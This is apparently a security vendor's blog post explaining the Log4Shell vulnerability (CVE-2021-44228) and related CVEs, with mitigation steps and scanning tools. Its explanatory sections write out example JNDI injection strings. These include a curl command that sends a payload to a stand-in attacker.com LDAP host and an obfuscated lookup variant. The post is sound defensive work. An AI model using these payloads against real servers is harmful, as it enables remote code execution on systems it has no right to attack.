What is Apache Log4J Vulnerability and How to Prevent It?
This blog post was published on PurpleBox website on Dec 17th, 2021.
1. Introduction
Log4Shell is a severe critical vulnerability affecting many versions of the Apache Log4j application. The vulnerability allows unauthenticated remote code execution. Attackers can take advantage of it by modifying their browser’s user-agent string to ${jndi:ldap://[attacker_URL]} format. This vulnerability can be found in products of some of the most famous technology vendors such as AWS, IBM, Cloudflare, Cisco, iCloud, Minecraft: Java Edition, Steam, and VMWare.
On December 9th, 2021, it was made public via the project’s GitHub website. This issue affects Apache Log4j 2 versions 2.0 to 2.14.1, as identified by Chen Zhaojun of Alibaba Cloud Security Team. NIST published a critical CVE in the National Vulnerability Database on December 10th, 2021, naming this as CVE-2021–44228. The highest severity score available, 10, has been determined as the official CVSS base severity score.
2. What is Log4Shell?
Apache Log4j is a Java-based logging utility. Log4j Java library’s role is to log information that helps applications run smoothly, determine what’s happening, and help with the debugging process when errors occur.
Logging libraries typically write down messages to the log file or a database. Before the string is recorded to a log file, it is frequently processed. For example, variables defined as ${variable} expanded as date, time, or username. The ${user.username} expression can be replaced with the current user’s actual username using an expression like Log.info(“${user.username} not found”). This is similar to using $() in PowerShell to expand and parse strings.
For remote lookups to retrieve this information from a remote machine, Log4j uses the Java Naming and Directory Interface (JNDI). JNDI allows programmers to look up items using a variety of services and protocols, including LDAP, DNS, Java Remote Method Invocation (RMI), and others.
JNDI syntax is:
${ jndi:protocol://server}. ${}These blocks can be nested and merged. It allows for countless complicated obfuscation techniques that can be used. For example, attackers can use ${${lower:jn}${lower:di}} instead of ${ jndi:}. This allows attackers to retrieve information from a remote server by exploiting the vulnerability. They can, for example, read an environment variable and use its value in an LDAP query.
Java objects can also be stored in a directory service, and JNDI has logic that detects when a directory object contains a Java object and loads it into memory. The LDAP object loader will retrieve the contents of the URL defined in javaCodebase and use it to create an object in memory, If the LDAP object has ObjectClass attribute defined as javaNamingReference and has the attributes javaCodebase, javaFactory, and javaClassName. This class’ initialization method (constructor) is called and loads untrusted code from an untrusted source.
If the attacker can find a way to get a specially crafted string to be processed by the Log4j logging framework, an attacker can exploit it. For example, a web application (the target of this vulnerability) typically stores the user agent string, which identifies the browser used by visitors.
String userAgent = request.getRequestHeader("User-Agent");
log.info(userAgent)Attackers can specify a custom user-agent string for their connections. This data is saved in a log file, and Log4j is exploited while processing it. Here is a specially crafted user-agent string to trigger this vulnerability:
curl http://victim.com/ -A "${ jndi:ldap://attacker.com/reference}"Apache Log4j2 2.0 through 2.12.1 and 2.13.0 through 2.15.0 JNDI features used in the configuration, log messages, and parameters do not protect against attacker-controlled LDAP and other JNDI related endpoints. From Log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0, this functionality has been completely removed.
3. Why is the Log4j vulnerability so important?
Log4j is used in most of the developed java applications. This means that the number of devices that could potentially be affected by the security vulnerability is approximately 2.5–3 billion. Also, a very large percentage of the enterprise uses java applications.
According to statistical data, there have been more than 1,272,000 hacking attempts to date, and over 44% of corporate networks globally have been affected by this vulnerability. Recently, a large number of attacks have been detected that exploit the Log4j vulnerability involving cryptocurrency mining.
Log4Shell (CVE 2021–44228) means that attackers can remotely run whatever code they want and gain access to all data on the affected machine. It also allows them to delete or encrypt all files on the affected machine and store them for a ransom demand. This potentially makes it a target for anything that uses a vulnerable version of Log4j to log user-controllable data.
4. How can attackers exploit the vulnerability?
Log4j allows logged messages to contain format strings that reference external information through the Java Naming and Directory Interface (JNDI). This allows information to be remotely retrieved across a variety of protocols, including the Lightweight Directory Access Protocol (LDAP).
For example, when Log4j finds the following string in a log message:
${jndi:ldap://prplbx.com/security}It instructs the JNDI to ask the LDAP server at “prplbx.com” for the “security” object. By design, JNDI will execute Java classes that an LDAP server references. If the LDAP server’s response references the URL https://prplbx.com/security, JNDI will automatically request the file security.class from the web server and execute the response.
Since the contents of log messages often contain user-controlled data, attackers can insert JNDI references pointing to LDAP servers they control, ready to serve malicious Java classes that perform any action they choose.
The screenshot below is a list of the HTTP headers in a GET request that illustrates the attacker using interact.sh to probe for vulnerable servers.
5. What are related CVEs?
a. CVE-2021–44228
Description: Apache Log4j2 JNDI features do not protect against attacker-controlled LDAP and other JNDI-related endpoints.
Severity: Critical
Base CVSS Score: 10.0 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Versions Affected: All versions from 2.0-beta9 through 2.12.1 and 2.13.0 through 2.14.1
Details: In Apache Log4j2 versions up to and including 2.14.1 (excluding security release 2.12.2), the JNDI features used in configurations, log messages, and parameters do not protect against attacker-controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.
b. CVE-2021–45046
Description: Apache Log4j2 Thread Context Message Pattern and Context Lookup Pattern vulnerable to a denial of service attack.
Severity: Moderate
Base CVSS Score: 3.7 (AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L)
Versions Affected: All versions from 2.0-beta9 through 2.12.1 and 2.13.0 through 2.15.0
Details: It was found that the fix to address CVE-2021–44228 in Apache Log4j 2.15.0 was incomplete in certain non-default configurations. This could allow attackers with control over Thread Context Map (MDC) input data when the logging configuration uses a non-default Pattern Layout with either a Context Lookup (for example, $${ctx:loginId}) or a Thread Context Map pattern (%X, %mdc, or %MDC) to craft malicious input data using a JNDI Lookup pattern resulting in a denial of service (DOS) attack. Log4j 2.15.0 restricts JNDI LDAP lookups to localhost by default. Note that previous mitigations involving configuration such as to set the system property log4j2.formatMsgNoLookups to true do NOT mitigate this specific vulnerability.
c. CVE-2021–4104
Description: Deserialization of untrusted data in JMSAppender in Apache Log4j 1.2.
Severity: N/A
Base CVSS Score: NVD score not yet provided.
Versions Affected: Log4j 1.2
Details: JMSAppender in Log4j 1.2 is vulnerable to deserialization of untrusted data when the attacker has written access to the Log4j configuration. The attacker can provide TopicBindingName and TopicConnectionFactoryBindingName configurations causing JMSAppender to perform JNDI requests that result in remote code execution similarly to CVE-2021–44228. Note this issue only affects Log4j 1.2 when specifically configured to use JMSAppender, which is not the default. Apache Log4j 1.2 reached the end of life in August 2015. Users should upgrade to Log4j 2 as it addresses numerous other issues from the previous versions.
6. Mitigation
The vendor has released a fix and the customers are advised to update their Log4j to version 2.16.0, if updating the version is possible. This advice and the following methods help mitigate the impacts of vulnerability:
Update your servers
The best fix against these vulnerabilities is to patch log4j to 2.16.0 and above:
Log4j 1.x mitigation: Log4j 1.x is not impacted by this vulnerability.
Log4j 2.x mitigation: Implement one of the mitigation techniques below.
- Java 8 (or later) users should upgrade to release 2.16.0.
- Users requiring Java 7 should upgrade to release 2.12.2 when it becomes available (work in progress, expected to be available soon).
- Otherwise, remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
Note that only the log4j-core JAR file is impacted by this vulnerability. Applications using only the log4j-api JAR file without the log4j-core JAR file are not impacted by this vulnerability.
Firewall
Using outgoing firewall rules on servers is a good mitigation technique to prevent attackers. If the server can make DNS lookups and attackers scan for vulnerable instances of log4j2 which will trigger the DNS lookup. Although attackers can easily bypass firewalls, having a firewall can block the outgoing connections of an actual attack and provide some degree of security.
Remove the jar files
Simply removing the jar files will break logging via log4j 2, but this is probably the weakest remediation technique as it is intrusive and prone to error.
Attack and hotfix your servers
Using exploit code to attack running servers, securing, and then modifying it to fix a vulnerability is a really poor security fix and workaround. However, this will be required at the point where other mitigations cannot be applied. There are two OpenSource projects to hotfix this:
This is a tool that injects a Java agent into a running JVM process. The agent will attempt to patch the lookup() method of all loaded org.apache.logging.log4j.core.lookup.JndiLookup instances to unconditionally return the string “Patched JndiLookup::lookup()”. It is designed to address the CVE-2021–44228 remote code execution vulnerability in Log4j without restarting the Java process. This tool will also address CVE-2021–45046.
This project attempts to fix the vulnerability by using the bug against itself. You can learn more about Cybereason’s “vaccine” approach to the Apache Log4Shell vulnerability (CVE-2021–44228) on our website.
7. Log4j Vulnerability Scanning & Detection Tools
We should always think if we’re using software that has the Log4j component, it could be affected. We’re sharing some useful tools for you to help detect Log4j vulnerabilities. However, we want to clarify one thing: If these tools could not find anything at the moment, it does not mean that we’re safe. All tools and systems are still updating, new CVEs are being added. So, we need to follow updates, news, and details every day.
a. log4j-scan
You can use the Log4j scanning tool to check your system. This tool is a fully automated, accurate, and extensive scanner for finding log4j RCE CVE-2021–44228. You can download from the Github repository and install the requirements easily.
Installation: You need to clone the Github repository and install the required dependencies.
$ git clone https://github.com/fullhunt/log4j-scan
$ pip3 install -r requirements.txt
Usage: You can run your log4j-scan script now if everything works fine.
If you want to scan a single URL:
$ python3 log4j-scan.py -u <your_url>If you want scan a Single URL using all Request Methods: GET, POST (url-encoded form), POST (JSON body):
$ python3 log4j-scan.py -u <your_url> --run-all-testsIf you want to discover WAF bypasses on your environment:
$ python3 log4j-scan.py -u <your_url> --waf-bypassIf the target is not vulnerable, log4j-scan tool output is “Targets do not seem to be vulnerable.
If the target is vulnerable, log4j-scan tool output is “[!!!] Target Affected”
b. Huntress Log4Shell Vulnerability Tester
This tool works by generating a random unique identifier which you can use when testing input fields. If an input field or application is vulnerable, it will reach out to this website over LDAP. Our LDAP server will immediately terminate the connection, and log it for a short time.
c. BurpSuite Log4Shell Scanner
You can find a Burp Extender Plugin for Enterprise and Professional related to Log4j vulnerability. The plugin is available in the BApp Store under the name Log4Shell Scanner.
d. Others
Many companies such as Qualys, Nessus, Datto, Cloudflare which provide cybersecurity and vulnerability management services, announced that they have added plugins and controls related to this critical vulnerability. You can check all details from their knowledge base libraries.
8. Conclusion
In this blog post, we’ve briefly explained what Log4Shell is, why the vulnerability is important, how it can be exploited, and some remediation advice to protect ourselves against this vulnerability. We also shared different and useful tools with you, all of which are capable of scanning and detecting the vulnerability.
We hope you enjoyed it! Stay safe from cyber-attacks!
If you want to read more on this topic, feel free to check out the PurpleBox Blog Section.
